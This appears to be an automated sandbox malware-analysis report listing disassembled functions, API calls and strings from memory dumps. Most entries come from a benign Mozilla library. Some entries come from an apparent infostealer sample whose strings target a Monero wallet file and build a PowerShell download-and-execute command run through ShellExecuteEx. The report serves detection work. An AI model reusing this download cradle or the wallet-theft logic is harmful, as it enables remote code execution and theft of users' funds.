Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 005F2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

ShellExecuteEx.SHELL32(0000003C), ref: 005F2D85

Strings

')", xrefs: 005F2CB3
<, xrefs: 005F2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 005F2CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 005F2D04

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: c7b21fc9119ed244b80e20b84a684121015c27825ab53606a904e3440827fa88
Instruction ID: a642d664b3bcc64baf00fd5fc32f719497a348ac3017ca67daf35c5f0034e15f
Opcode Fuzzy Hash: c7b21fc9119ed244b80e20b84a684121015c27825ab53606a904e3440827fa88
Instruction Fuzzy Hash: F041D2B1C1010D9ADB18FBA0C895BFDBF74BF54340F508119E60AA7195DFB86A4ACF92

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

kernel32.dll, xrefs: 6C6B7557
UnmapViewOfFile2, xrefs: 6C6B7552

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C6BC431
ntdll.dll, xrefs: 6C6BC413

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 005E9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 005E9F41

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Strings

v20, xrefs: 005E9E21
v10, xrefs: 005E9EA3
ERROR_RUN_EXTRACTOR, xrefs: 005E9E67
@, xrefs: 005E9EF1

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: a5dcf8c61cab1cd16a4e612ce0cade574300ac03ea912b47526fd7b5f6f3cc38
Instruction ID: cf1e7230cc2f24934220de310754eeef60cf36c907a31fb00de3bf73308e61a0
Opcode Fuzzy Hash: a5dcf8c61cab1cd16a4e612ce0cade574300ac03ea912b47526fd7b5f6f3cc38
Instruction Fuzzy Hash: 60613F70A0024DDBDB18EFA5CC9AFEE7B75BF84340F008518FA495B191EB746A05CB52

Function 6C654DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C654EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C654F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C654F1E

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction ID: fa9019ae94530c368e15ab28f76c0ca6e05641a3aa38c6ac439540feb09e902e
Opcode Fuzzy Hash: 52175f95d4ea3090ad09e7d1fb6a04a335b1bba66f3e2ef145f8db46a4b08874
Instruction Fuzzy Hash: 8C41F0716087019FC701CF29C8809ABB7E4BF8A344F608A5DF56687640DBB1E935CB85

Function 6C661530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C66159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615BC
moz_xmalloc.MOZGLUE(-00000001,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C6615E7
free.MOZGLUE(?,?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C66152B,?,?,?,?,6C661248,?), ref: 6C661637

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction ID: d01c86a85d46c23a7c691215a81a34074b03034866677b6b18a6f6f243d40b0c
Opcode Fuzzy Hash: 60c595e13ce2a9c8a199b3a496b84ba9900cf50bf30422973b7d5e0842e1335b
Instruction Fuzzy Hash: 9C31EAB1A001149BCB148E7DD8514AEB7A5FB823647240B2DE423DBFD4EB30D915879B

Function 6C6BAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAD9D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6CE330,?,6C67C059), ref: 6C6BAE3D

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction ID: 4eb5dd445afc357e947c968c0e77c1b944aa70b059dce956206679de5e0986f5
Opcode Fuzzy Hash: 0f21de2af0562fbe7cdfc5f35f1760c945e4117e18b0c4ae4a851e01653c96bd
Instruction Fuzzy Hash: FB3164B1A002159FDB10DF7A8C44AABB7F8EF49714F15482DE94AE7700E734E815CBA9

Function 6C65B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C65B532
moz_xmalloc.MOZGLUE(?), ref: 6C65B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C65B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C65B57E
free.MOZGLUE(00000000), ref: 6C65B58F

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction ID: 89d8c58b405f94ff87142cdd8ce363126df9faeab29231e2da6d786d2f4b5cda
Opcode Fuzzy Hash: 4d383c59ac1466ad9845e72a84ae01ba623d94f7e40b200926ea7cdfc1fc98de
Instruction Fuzzy Hash: 3D212971A002059BDB00CF69CC80BAEBBB9FF86304F784129E918DB345E736D921C7A5

Function 005F9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0164DAD0,?,?,?,005F140C,?,0164DAD0,00000000), ref: 005F926C
lstrcpyn.KERNEL32(0082AB88,0164DAD0,0164DAD0,?,005F140C,?,0164DAD0), ref: 005F9290
lstrlen.KERNEL32(?,?,005F140C,?,0164DAD0), ref: 005F92A7
wsprintfA.USER32 ref: 005F92C7

Strings

%s%s, xrefs: 005F92B5

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: c3e8b98b2934b5bd65bf193c563edb3519214ac5aa3ff1c19e48c7d4b8485ab9
Instruction ID: c730dab68db405743880799f99ff8f6a09ecd0401798b3d3df1d0eb2b49ee3fe
Opcode Fuzzy Hash: c3e8b98b2934b5bd65bf193c563edb3519214ac5aa3ff1c19e48c7d4b8485ab9
Instruction Fuzzy Hash: A701DA75500208FFCB18DFECD988EAE7BB9FF48364F108548F9099B244C635AA41DB95

Function 6C690D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C653DEF), ref: 6C690D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C653DEF), ref: 6C690D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C653DEF), ref: 6C690DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C690D97, 6C690DBE
<jemalloc>, xrefs: 6C690D92, 6C690DB9

Memory Dump Source

Source File: 00000000.00000002.2375654968.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2375636005.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375729221.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction ID: 9eb333f3b368d62e8b1546ca32396374ec09f74a64d74f8d664fc73b983ace28
Opcode Fuzzy Hash: 13bbc51be261d3e61bd704e20e53ec9f8c3ea23577e6d8f8bb17b6e2824cef17
Instruction Fuzzy Hash: C2F02E3138039623E72016670C0AF6A269EA7C6B35F314035F744DE9C4DA90F80486AE

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

